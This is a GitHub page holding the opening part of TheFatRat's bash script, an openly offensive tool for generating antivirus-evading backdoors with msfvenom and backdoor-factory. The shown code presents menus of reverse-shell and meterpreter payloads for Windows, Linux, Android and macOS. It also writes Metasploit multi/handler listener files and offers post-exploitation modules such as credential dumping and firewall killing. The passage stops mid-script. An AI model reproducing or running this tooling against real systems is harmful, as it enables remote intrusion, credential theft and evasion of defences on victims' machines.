forked from screetsec/TheFatRat
-
Notifications
You must be signed in to change notification settings - Fork 1
/
fatrat
5428 lines (5166 loc) · 179 KB
/
fatrat
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
#!/usr/bin/env bash
# THEFATRAT-1.9.5
#
# Welcome and dont disclaimer
# fatrat Author By Edo -maland- { screetec }
# Tested On , Backbox , kali Linux and Kali sana v.2
# contact me in screetsec@gmail.com or screetsec@dracos-linux.org
# DISTRO Penetration From Indonesia : https://dracos-linux.org/
# Easy tool for generate backdoor with msfvenom ( part of metasploit framework )
# and program compiles a C program with a meterpreter reverse_tcp payload In it that can then be executed on
# a windows host Program to create a C program after it is compiled that will bypass most AV
#
#WARNA KESUKAAN
cyan='\e[0;36m'
green='\e[0;34m'
okegreen='\033[92m'
lightgreen='\e[1;32m'
white='\e[1;37m'
red='\e[1;31m'
yellow='\e[0;33m'
BlueF='\e[1;34m' #Biru
RESET="\033[00m" #normal
orange='\e[38;5;166m'
#Accurate method to detect user Distro
lnx="Linux"
lsb_release -i > temp/distro.tmp
lsb_release -c > temp/codename.tmp
rlname=`awk '{print $2}' temp/codename.tmp`
dist=`awk '{print $3}' temp/distro.tmp`
dist1=`awk '{print $4}' temp/distro.tmp`
rm -f temp/codename.tmp >/dev/null
rm -f temp/distro.tmp >/dev/null
if [ "$dist" == "$lnx" ];
then
dist0=$dist1
else
dist0=$dist
fi
#SAMARAN TAMPAN
#Variables
path=`pwd`
Versi=1.9.5
codename=Whistle
OS=`uname` #
distro=$dist0
disrov=$rlname
SERVICE=service;
apkembed='tools/apkembed.rb' # exec script path
pwned='python tools/pw_exec.py'
dave='python tools/trusted_2_6.py'
B='tools/prog.cs'
C='tools/dad.c'
apache='tools/apache.c'
paycom='output/payload.c'
pdfcom='output/pdf.c'
bcom='output/Program.cs'
pdfcom='output/pdf.c'
pstager='tools/power.py'
apachecom='output/apache_com.c'
out='output/ip.txt'
pump='tools/pump.py'
reverse1='temp/reverse1.c'
stag='temp/stag.c'
apkconfig=$path/config/apk.tmp
unzip=unzip
temp=$path/temp
file="config/config.path"
grab="config/grab.conf"
meterp="$path/temp/meterpreter.rc"
outf="app_backdoor.apk"
msploit=$path/logs/msploit.log
lanip=`ip addr | grep 'state UP' -A2 | tail -n1 | awk '{print $2}' | cut -f1 -d'/'`
lanip6=`ip addr | grep 'state UP' -A4 | tail -n1 | awk '{print $2}' | cut -f1 -d'/'`
publicip=`dig +short myip.opendns.com @resolver1.opendns.com`
hostn=`host $publicip | awk '{print $5}' | sed 's/.$//'`
list=$path/config/listeners
log=$path/logs/apk-old.log
pwind=$path/logs/pwind.log
defcon=$path/config/conf.def
logfud=$path/logs/fudwin.log
# spinner for Metasploit Generator
spinlong ()
{
echo -e "\n"
bar=" +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ "
barlength=${#bar}
i=0
while ((i < 100)); do
n=$((i*barlength / 100))
printf "\e[00;32m\r[%-${barlength}s]\e[00m" "${bar:0:n}"
((i += RANDOM%5+2))
sleep 0.02
done
}
# spinner for random seed generator
spinlong2 ()
{
echo -e "\n"
bar=" 01100111001001001110111001101010101010110101001010111001010101010101010"
barlength=${#bar}
i=0
while ((i < 100)); do
n=$((i*barlength / 100))
printf "\e[00;32m\r[%-${barlength}s]\e[00m" "${bar:0:n}"
((i += RANDOM%5+2))
sleep 0.02
done
}
# Check if configuration file for grab script exists in /config folder
# Case grab config does not exist then create a default config with 60 seconds
if [ ! -f $grab ]
then
echo "------------------------------------------------------------" > $grab
echo "| Timeout configuration for Msfconsole file Grabber Script |" >> $grab
echo "------------------------------------------------------------" >> $grab
echo "60" >> $grab
fi
# Default Local Host & Port file creation function
function confdefault () {
clear
confd=$path/config/conf.def
if [ -f "$confd" ]
then
clear
echo -e $okegreen " "
echo "Fatrat detected that exists a default config file
with the following values :"
echo ""
lh=`sed -n 1p $confd`
lp=`sed -n 2p $confd`
echo "LHOST : $lh "
echo "LPORT : $lp "
echo ""
read -rsp $'Press [ENTER] key go to options menu \n' -n 1 key
echo ""
echo -e $okegreen "Select one of the options bellow"
echo ""
echo -e $orange "+---------------------------------+"
echo -e $orange "|$white [$okegreen 1$white ]$yellow Change current config$orange |"
echo -e $orange "|$white [$okegreen 2$white ]$yellow Delete configuration file$orange |"
echo -e $orange "|$white [$okegreen 3$white ]$yellow Cancel$orange |"
echo -e $orange "+---------------------------------+"
echo ""
echo -ne $okegreen "Option : ";tput sgr0
read con
echo ""
case $con in
1)
confd=$path/config/conf.def
rm -rf $confd
touch $confd
clear
echo ""
echo -e $okegreen "Write Lhost value$yellow (ex: 192.168.1.1 or mydomain.com)"
echo -ne $okegreen "LHOST : ";tput sgr0
read val
if [ -z $val ]
then
confdefault
else
echo $val > $confd
fi
echo ""
echo -e $okegreen "Write Lport value$yellow (Must be a port between 1 & 65535)"
echo -ne "LPORT : ";tput sgr0
read val
if [ -z $val ]
then
confdefault
else
echo $val >> $confd
fi
echo -e $okegreen ""
read -rsp $'Configuration created , restart fatrat , Press [ENTER] key to exit fatrat \n' -n 1 key
clear
exit 0
;;
2)
clear
echo -e $okegreen ""
rm -rf $confd
echo "Default configuration file was deleted , you will now have
to input Lhost & Lport values manually in fatrat options ."
echo ""
read -rsp $'Press [ENTER] key to return to fatrat menu\n' -n 1 key
clear
menu
;;
3)
clear
menu
;;
esac
else
echo -e $okegreen ""
echo "No default configuration file detected "
read -rsp $'Press [ENTER] key to go to options \n' -n 1 key
echo ""
clear
echo -e $okegreen "Select one of the options bellow"
echo ""
echo -e $orange "+---------------------+"
echo -e $orange "|$white [$okegreen 1$white ]$yellow Create config$orange |"
echo -e $orange "|$white [$okegreen 2$white ]$yellow Cancel$orange |"
echo -e $orange "+---------------------+"
echo ""
echo -ne $okegreen "Option : ";tput sgr0
read con
echo ""
case $con in
1)
confd=$path/config/conf.def
touch $confd
echo ""
echo -e $okegreen "Write Lhost value$yellow (ex: 192.168.1.1 or mydomain.com)"
echo -ne $okegreen "LHOST : ";tput sgr0
read val
if [ -z $val ]
then
confdefault
else
echo $val > $confd
fi
echo ""
echo -e $okegreen "Write Lport value$yellow (Must be a port between 1 & 65535)"
echo -ne "LPORT : ";tput sgr0
read val
if [ -z $val ]
then
confdefault
else
echo $val >> $confd
fi
echo -e $okegreen ""
read -rsp $'Configuration created , restart fatrat , Press [ENTER] key to exit fatrat \n' -n 1 key
clear
exit 0
;;
2)
clear
menu
;;
*)
echo -e $red ""
read -rsp $ "Invalid Option"
confdefault
;;
esac
fi
}
# Verify user input values on manual Lhost , Lport & filename
function invalid ()
{
err=0
echo ""
if [ -z "$yourip" ]; then
echo -e $red ""
echo "[ ! ] You must write an IP or Hostname ."
echo -e $okegreen ""
echo "IP Example : 192.168.1.34
Domain Example : myhost.com"
err=1
fi
echo ""
if [ -z "$yourport" ]; then
echo -e $red ""
echo "[ ! ] You must write a port number between 1 & 65535 ."
err=1
fi
if [ -z "$fira" ]; then
echo -e $red ""
echo "[ ! ] You must write a filename ."
echo -e $okegreen ""
echo "Filename Example : myfile"
err=1
fi
echo -e $okegreen ""
}
#Selection of Executable and verify if exists for backdoor-factory
function selexe() {
echo ""
echo -e $okegreen "Enter the path to your EXE file .(ex: /root/downloads/myfile.exe)"
echo ""
echo -ne $cyan "Path : ";tput sgr0
read exef
if [ ! -f $exef ]
then
echo ""
echo -e $red "File does not exist , make sure you write the right path of it ."
echo ""
echo -e $okegreen "Press [ENTER] key to try again ."
read cont
selexe
fi
}
#Apk embeded file selection and verify if user path is correct
function selapk() {
echo ""
echo -e $okegreen "Enter the path to your android app/game .(ex: /root/downloads/myapp.apk)"
echo ""
echo -ne $cyan "Path : ";tput sgr0
read exef
if [ ! -f $exef ]
then
echo ""
echo -e $red "File does not exist , make sure you write the right path of it ."
echo ""
echo -e $okegreen "Press [ENTER] key to try again ."
read cont
selapk
fi
}
#Verification of user input for Lhost & Lport Only
function invalid1 ()
{
err=0
echo ""
if [ -z "$yourip" ]; then
echo -e $red ""
echo "[ ! ] You must write an IP or Hostname ."
echo -e $okegreen ""
echo "IP Example : 192.168.1.34
Domain Example : myhost.com"
err=1
fi
echo ""
if [ -z "$yourport" ]; then
echo -e $red ""
echo "[ ! ] You must write a port number between 1 & 65535 ."
err=1
fi
echo -e $okegreen ""
}
# Verify if user ip input is valid
#this function is not active yet because user may input an hostame
valid_ip()
{
if [[ $yourip =~ ^[0-255]+\.[0-255]+\.[0-255]+\.[0-255]+$ ]]; then
echo ""
err=1
else
err=0
fi
}
#for checking if your command is correct
gboor ()
{
echo -e $yellow ""
cat << !
Generate Backdoor
+------------++-------------------------++-----------------------+
| Name || Descript || Your Input
+------------++-------------------------++-----------------------+
| LHOST || The Listen Addres || $yourip
| LPORT || The Listen Ports || $yourport
| OUTPUTNAME || The Filename output || $fira
| PAYLOAD || Payload To Be Used || $payload
+------------++-------------------------++-----------------------+
!
}
#for checking if your command is correct when embed backdoor
gboor2 ()
{
echo -e $ ""
cat << !
Generate Backdoor
+------------++-------------------------++-----------------------+
| Name || Descript || Your Input
+------------++-------------------------++-----------------------+
| LHOST || The Listen Addres || $yourip
| LPORT || The Listen Ports || $yourport
| OUTPUTNAME || The Filename output || $outf
| PAYLOAD || Payload To Be Used || $payload
+------------++-------------------------++-----------------------+
!
}
# Function to create a listener for apk
function crlst() {
echo -e $okegreen "Do you want to create a listener for this configuration"
echo -e $okegreen "to use in msfconsole in future ?"
echo ""
echo -ne $cyan "Choose y/n : "
read sel
case $sel in
y|Y|Yes|yes|YES)
echo ""
echo -e $green "Write the name for this config . (ex : myratapk)"
echo -ne "Filename : ";tput sgr0
read fname
if [ -z $fname ]
then
svf=$path/config/listeners/myratapk.rc
rm -rf $svf >/dev/null 2>&1
echo "use exploit/multi/handler" > $svf
echo "set PAYLOAD $payload" >> $svf
echo "set LHOST $yourip" >> $svf
echo "set LPORT $yourport" >> $svf
echo "exploit -j" >> $svf
echo -e $okegreen ""
echo "Configuration file saved to $list/myratapk.rc"
else
svf=$path/config/listeners/$fname.rc
rm -rf $svf >/dev/null 2>&1
echo "use exploit/multi/handler" > $svf
echo "set PAYLOAD $payload" >> $svf
echo "set LHOST $yourip" >> $svf
echo "set LPORT $yourport" >> $svf
echo "exploit -j" >> $svf
echo -e $okegreen ""
echo "Configuration file saved to $list/$fname.rc"
fi
echo -e $okegreen ""
read -rsp $'Press [ENTER] key to return to fatrat menu\n' -n 1 key
echo
clear
menu
;;
n|no|No|NO)
echo -e $okegreen ""
read -rsp $'Press [ENTER] key to return to fatrat menu\n' -n 1 key
echo
clear
menu
;;
*)
clear
menu
;;
esac
}
#Post exploit menu selection
function postexp() {
echo ""
echo -e $orange " +------------------------------------+"
echo -e $orange " |$white [$okegreen 1$white ]$yellow sysinfo.rc$orange |"
echo -e $orange " |$white [$okegreen 2$white ]$yellow fast_migrate.rc$orange |"
echo -e $orange " |$white [$okegreen 3$white ]$yellow cred_dump.rc$orange |"
echo -e $orange " |$white [$okegreen 4$white ]$yellow gather.rc$orange |"
echo -e $orange " |$white [$okegreen 5$white ]$yellow auto_migrate+killfirewall.rc$orange |"
echo -e $orange " +------------------------------------+"
echo ""
echo -ne $okegreen " Choose Post Exploitation Module : ";tput sgr0
read pemd
case $pemd in
1)
pe="$path/postexploit/sysinfo.rc"
;;
2)
pe="$path/postexploit/fast_migrate.rc"
;;
3)
pe="$path/postexploit/cred_dump.rc"
;;
4)
pe="$path/postexploit/gather.rc"
;;
5)
pe="$path/postexploit/auto_migrate+killfirewall.rc"
;;
*)
postexp
;;
esac
}
# Backdoor-factory menu payload selection
function pldbkf() {
echo ""
echo -e $orange " +--------------------------------------------+"
echo -e $orange " |$white [$okegreen 1$white ]$yellow cave_miner_inline$orange |"
echo -e $orange " |$white [$okegreen 2$white ]$yellow iat_reverse_tcp_inline$orange |"
echo -e $orange " |$white [$okegreen 3$white ]$yellow iat_reverse_tcp_inline_threaded$orange |"
echo -e $orange " |$white [$okegreen 4$white ]$yellow iat_reverse_tcp_stager_threaded$orange |"
echo -e $orange " |$white [$okegreen 5$white ]$yellow iat_user_supplied_shellcode_threaded$orange |"
echo -e $orange " |$white [$okegreen 6$white ]$yellow meterpreter_reverse_https_threaded$orange |"
echo -e $orange " |$white [$okegreen 7$white ]$yellow reverse_shell_tcp_inline$orange |"
echo -e $orange " |$white [$okegreen 8$white ]$yellow reverse_tcp_stager_threaded$orange |"
echo -e $orange " |$white [$okegreen 9$white ]$yellow user_supplied_shellcode_threaded$orange |"
echo -e $orange " +--------------------------------------------+"
echo ""
echo -ne $okegreen " Choose Payload : ";tput sgr0
read pld
case $pld in
1)
payload="cave_miner_inline"
;;
2)
payload="iat_reverse_tcp_inline"
;;
3)
payload="iat_reverse_tcp_inline_threaded"
;;
4)
payload="iat_reverse_tcp_stager_threaded"
;;
5)
payload="iat_user_supplied_shellcode_threaded"
;;
6)
payload="meterpreter_reverse_https_threaded"
;;
7)
payload="reverse_shell_tcp_inline"
;;
8)
payload="reverse_tcp_stager_threaded"
;;
9)
payload="user_supplied_shellcode_threaded"
;;
*)
echo ""
echo -ne $red "Wrong input , choose between 1 and 9 :"
pldbkf
;;
esac
}
# Linux msfvenom payload selection
function pldlnx () {
echo ""
echo -e $orange " +-----------------------------------------+"
echo -e $orange " |$white [$okegreen 1$white ]$yellow linux/ppc/shell_reverse_tcp$orange |"
echo -e $orange " |$white [$okegreen 2$white ]$yellow linux/x86/shell_reverse_tcp$orange |"
echo -e $orange " |$white [$okegreen 3$white ]$yellow linux/x86/meterpreter/reverse_tcp$orange |"
echo -e $orange " |$white [$okegreen 4$white ]$yellow osx/armle/shell_reverse_tcp$orange |"
echo -e $orange " |$white [$okegreen 5$white ]$yellow osx/ppc/shell_reverse_tcp$orange |"
echo -e $orange " |$white [$okegreen 6$white ]$yellow bsd/x86/shell/reverse_tcp$orange |"
echo -e $orange " |$white [$okegreen 7$white ]$yellow solaris/x86/shell_reverse_tcp$orange |"
echo -e $orange " +-----------------------------------------+"
echo ""
echo -ne $okegreen " Choose Payload : ";tput sgr0
read pld
case $pld in
1)
payload="linux/ppc/shell_reverse_tcp"
;;
2)
payload="linux/x86/shell_reverse_tcp"
;;
3)
payload="linux/x86/meterpreter/reverse_tcp"
;;
4)
payload="osx/armle/shell_reverse_tcp"
;;
5)
payload="osx/ppc/shell_reverse_tcp"
;;
6)
payload="bsd/x86/shell/reverse_tcp"
;;
7)
payload="solaris/x86/shell_reverse_tcp"
;;
*)
echo ""
echo -ne $red "Wrong input , choose between 1 and 7 :"
pldlnx
;;
esac
}
# Windows msfvenom payload selection
function pldwin () {
echo ""
echo -e $orange " +-------------------------------------------+"
echo -e $orange " |$white [$okegreen 1$white ]$yellow windows/shell_bind_tcp$orange |"
echo -e $orange " |$white [$okegreen 2$white ]$yellow windows/shell/reverse_tcp$orange |"
echo -e $orange " |$white [$okegreen 3$white ]$yellow windows/meterpreter/reverse_tcp$orange |"
echo -e $orange " |$white [$okegreen 4$white ]$yellow windows/meterpreter/reverse_tcp_dns$orange |"
echo -e $orange " |$white [$okegreen 5$white ]$yellow windows/meterpreter/reverse_http$orange |"
echo -e $orange " |$white [$okegreen 6$white ]$yellow windows/meterpreter/reverse_https$orange |"
echo -e $orange " +-------------------------------------------+"
echo ""
echo -ne $okegreen " Choose Payload :";tput sgr0
read pld
case $pld in
1)
payload="windows/shell_bind_tcp"
;;
2)
payload="windows/shell/reverse_tcp"
;;
3)
payload="windows/meterpreter/reverse_tcp"
;;
4)
payload="windows/meterpreter/reverse_tcp_dns"
;;
5)
payload="windows/meterpreter/reverse_http"
;;
6)
payload="windows/meterpreter/reverse_https"
;;
*)
echo ""
echo -e $red "Wrong input , choose between 1 and 6"
pldwin
;;
esac
}
# Android msfvenom payload selection
function pldand () {
echo ""
echo -e $orange " +-------------------------------------------+"
echo -e $orange " |$white [$okegreen 1$white ]$yellow android/meterpreter/reverse_http$orange |"
echo -e $orange " |$white [$okegreen 2$white ]$yellow android/meterpreter/reverse_https$orange |"
echo -e $orange " |$white [$okegreen 3$white ]$yellow android/meterpreter/reverse_tcp$orange |"
echo -e $orange " |$white [$okegreen 4$white ]$yellow android/shell/reverse_http$orange |"
echo -e $orange " |$white [$okegreen 5$white ]$yellow android/shell/reverse_https$orange |"
echo -e $orange " |$white [$okegreen 6$white ]$yellow android/shell/reverse_tcp$orange |"
echo -e $orange " +-------------------------------------------+"
echo ""
echo -ne $okegreen " Choose Payload : ";tput sgr0
read pld
case $pld in
1)
payload="android/meterpreter/reverse_http"
;;
2)
payload="android/meterpreter/reverse_https"
;;
3)
payload="android/meterpreter/reverse_tcp"
;;
4)
payload="android/shell/reverse_http"
;;
5)
payload="android/shell/reverse_https"
;;
6)
payload="android/shell/reverse_tcp"
;;
*)
echo ""
echo -e $red "Wrong input , choose between 1 and 6"
pldand
;;
esac
}
# Mac msfvenom payload selection
function pldmac() {
echo ""
echo -e $orange " +--------------------------------------+"
echo -e $orange " |$white [$okegreen 1$white ]$yellow python/meterpreter/reverse_tcp$orange |"
echo -e $orange " |$white [$okegreen 2$white ]$yellow generic/shell_reverse_tcp$orange |"
echo -e $orange " +--------------------------------------+"
echo ""
echo -ne $okegreen " Choose Payload : ";tput sgr0
read pld
case $pld in
1)
payload="python/meterpreter/reverse_tcp"
;;
2)
payload="generic/shell_reverse_tcp"
;;
*)
echo ""
echo -e $red "Wrong input , choose between 1 and 2"
pldmac
;;
esac
}
# Linux multi msfvenom payload selection
function pldmul() {
echo ""
echo -e $orange " +------------------------------------------+"
echo -e $orange " |$white [$okegreen 1$white ]$yellow python/meterpreter/reverse_tcp$orange |"
echo -e $orange " |$white [$okegreen 2$white ]$yellow python/meterpreter/reverse_http$orange |"
echo -e $orange " |$white [$okegreen 3$white ]$yellow python/meterpreter/reverse_https$orange |"
echo -e $orange " |$white [$okegreen 4$white ]$yellow python/meterpreter_reverse_http$orange |"
echo -e $orange " |$white [$okegreen 5$white ]$yellow python/meterpreter_reverse_https$orange |"
echo -e $orange " |$white [$okegreen 6$white ]$yellow python/shell_reverse_tcp$orange |"
echo -e $orange " |$white [$okegreen 7$white ]$yellow python/meterpreter/reverse_tcp_ssl$orange |"
echo -e $orange " +------------------------------------------+"
echo ""
echo -ne $okegreen " Choose Payload : ";tput sgr0
read pld
case $pld in
1)
payload="python/meterpreter/reverse_tcp"
;;
2)
payload="python/meterpreter/reverse_http"
;;
3)
payload="python/meterpreter/reverse_https"
;;
4)
payload="python/meterpreter_reverse_http"
;;
5)
payload="python/meterpreter_reverse_https"
;;
6)
payload="python/shell_reverse_tcp"
;;
7)
payload="python/meterpreter/reverse_tcp_ssl"
;;
*)
echo ""
echo -e $red "Wrong input , choose between 1 and 7"
pldmul
;;
esac
}
#Microsploit log file
msploitr ()
{
rm -rf $msploit >/dev/null 2>&1
touch $msploit
echo "**********************************************" > $msploit
echo "* Microsploit Log *" >> $msploit
echo "**********************************************" >> $msploit
echo " Metepreter Data " >> $msploit
echo "----------------------------------------------" >> $msploit
cat $meterp | while read LINE
do
echo $LINE >> $msploit
done
echo "----------------------------------------------" >> $msploit
echo " Xterm Output " >> $msploit
echo "----------------------------------------------" >> $msploit
}
#Checking if user is root
[[ `id -u` -eq 0 ]] || { echo -e $red "Must be root to run script"; exit 1; }
resize -s 33 84 > /dev/null
clear
#check if tools path config file exists before proceeding
if [ -f "$file" ]
then
#config file exists , then load tools paths to specific variables
msfconsole=`sed -n 14p $file`
msfvenom=`sed -n 15p $file`
backdoor=`sed -n 16p $file`
searchsploit=`sed -n 17p $file`
aapt=`sed -n 11p $file`
apktool=`sed -n 12p $file`
keytool=`sed -n 7p $file`
sign=`sed -n 5p $file`
dx=`sed -n 10p $file`
else
#config file does not exist
echo -e $red"Configuration file does not exists , run setup.sh first for config ."
exit 1
fi
#If default Lhost & Lport configuration file exists then load their values to variables
if [ -f "$defcon" ]
then
yourip=`sed -n 1p $defcon`
yourport=`sed -n 2p $defcon`
fi
#Jangan Nakal CTRL C MULU
#Abort fatrat with Ctrl+C
trap ctrl_c INT
ctrl_c() {
clear
echo -e $red"[*] (Ctrl + C ) Detected, Trying To Exit ..."
sleep 1
echo ""
echo -e $red"[*] Stop all service , Wait ..."
Stop
sleep 1
echo ""
echo -e $yellow"[*] Thank You For Using TheFatRat =)."
echo ""
echo -e $yellow"[*] Check Dracos Linux LFS, Penetration OS From Indonesia =P."
exit
}
#If first internet check with ping google hostname fails then run this next function to check what happens
function chknet() {
echo -e $red "[X] Your Internet is not working correctly!"
sleep 0.5
echo -e $cyan "[*] Checking ...."
ping -c 1 8.8.4.4 > /dev/null 2>&1
png="$?"
if [ $png == "0" ]
then
echo -e $red "[X] Your linux OS is not able to resolve"
echo -e $red "hostnames over terminal using ping !!"
echo ""
echo -e $yellow "Search on the web : (unable to resolve hostnames ping) to find a solution"
echo ""
echo -e $okegreen "Fatrat will continue , but some of its functions may not work properly."
echo ""
echo -e $okegreen "Press [ENTER] key to continue"
read continue
cont
sleep 0.5
elif [ $png == "1" ]
then
echo -e $yellow "You are connected to your local network but not to the web ."
echo -e $yellow "Check if your router/modem gateway is connected to the web ."
echo ""
echo -e $okegreen "Fatrat will continue , but some of its functions may not work properly."
echo ""
echo -e $okegreen "Press [ENTER] key to continue"
read continue
cont
sleep 0.5
elif [ $png == "2" ]
then
echo -e $red "You are not connected to any network ."
echo ""
echo -e $okegreen "Fatrat will continue , but many of its functions will not work properly."
echo ""
echo -e $okegreen "Press [ENTER] key to continue"
read continue
cont
sleep 0.5
fi
}
cont() {
# check apache if exists
which apache2 > /dev/null 2>&1
if [ "$?" -eq "0" ]; then
echo -e $okegreen [✔]::[Apache2 Server $distro ]: Installation found!;
else
echo -e $red [x]::[warning]:this script require apache2 to work ;
echo ""
echo -e $red [!]::Run setup.sh to install apache2 ;
echo ""
sleep 0.5
exit 1
fi
sleep 0.5
# check if ruby exists
which ruby > /dev/null 2>&1
if [ "$?" -eq "0" ]; then
echo -e $okegreen [✔]::[Ruby]: Installation found!;
else
echo -e $red [x]::[warning]:this script require ruby to work ;
echo ""
echo -e $red [!]::Run setup.sh to install ruby ;
echo ""
sleep 0.5
exit 1
fi
sleep 0.5
# check if apktool exists
which $apktool > /dev/null 2>&1
if [ "$?" -eq "0" ]; then
echo -e $okegreen [✔]::[Apktool]: Installation found!;
else
echo -e $red [x]::[warning]:this script require apktool to work ;
echo ""
echo -e $red[!]::Run setup.sh to install apktool ;
echo ""
sleep 0.5
exit 1
fi
sleep 0.5
# check if aapt exists
which $aapt > /dev/null 2>&1
if [ "$?" -eq "0" ]; then
echo -e $okegreen [✔]::[Aapt]: Installation found!;
else
echo -e $red [x]::[warning]:this script require aapt to work ;
echo ""
echo -e $red [!]::Run setup.sh to install aapt ;
echo ""
sleep 0.5
exit 1
fi
sleep 0.5
#another apache2 locate
if [ "$distro" = "Ubuntu" ]; then
apache2="/var/www"
elif [ "$distro" = "Kali" ]; then
apache2="/var/www/html"
elif [ "$distro" = "BackBox" ]; then
apache2="/var/www/html"
else
apache2="/var/www/html"
fi
sleep 0.5
# check msfconsole
which $msfconsole > /dev/null 2>&1
if [ "$?" -eq "0" ]; then
echo -e $okegreen [✔]::[Msfconsole]: Installation found!;
else
echo -e $red [x]::[warning]:this script require msfconsole installed to work ;
echo ""
echo -e $red [!]::Run setup.sh to install metasploit-framework ;
sleep 0.5
exit 1
fi
sleep 0.5
# check if msfvenom exists
which $msfvenom > /dev/null 2>&1
if [ "$?" -eq "0" ]; then
echo -e $okegreen [✔]::[Msfvenom]: Installation found!;
else
echo -e $red [x]::[warning]:this script require msfvenom installed to work ;
echo ""
echo -e $red [!]::Run setup.sh to install metasploit-framework ;
sleep 0.5
exit 1
fi
sleep 0.5
# check mingw if exists
which i586-mingw32msvc-gcc > /dev/null 2>&1
if [ "$?" -eq "0" ]; then
echo -e $okegreen [✔]::[Mingw32]: Installation found!;
COMPILER="i586-mingw32msvc-gcc"
else
which i686-w64-mingw32-gcc > /dev/null 2>&1
if [ $? -eq 0 ]; then
echo -e $okegreen [✔]::[Mingw64]: Installation found!;
COMPILER="i686-w64-mingw32-gcc"
else
echo -e $red [x]::[warning]:this script require mingw32 or 64 installed to work ;
echo ""
echo -e $red [!]::Run setup.sh to install mingw ;
sleep 0.5
exit 1
fi
fi
sleep 0.5
# check backdoor-factory if exists
which $backdoor > /dev/null 2>&1
if [ "$?" -eq "0" ]; then
echo -e $okegreen [✔]::[Backdoor-factory]: Installation found!;
else
echo -e $red [x]::[warning]:this script require backdoor-factory installed to work ;
echo ""
echo -e $red [!]::Run setup.sh to install backdoor-factory ;
echo ""
sleep 0.5
exit 1
fi
sleep 0.5
# check monodevelop if exists
which monodevelop > /dev/null 2>&1
which dmcs > /dev/null 2>&1
if [ -d $find ]; then
echo -e $okegreen [✔]::[Monodevelop]: Installation found!;
else
echo -e $red [x]::[warning]:this script require monodevelop to work ;
echo ""
echo -e $red [!]::Run setup.sh to install monodevelop ;
echo ""
sleep 0.5
exit 1
fi
sleep 0.5
# check xterm if exists
which xterm > /dev/null 2>&1
if [ -d $find ]; then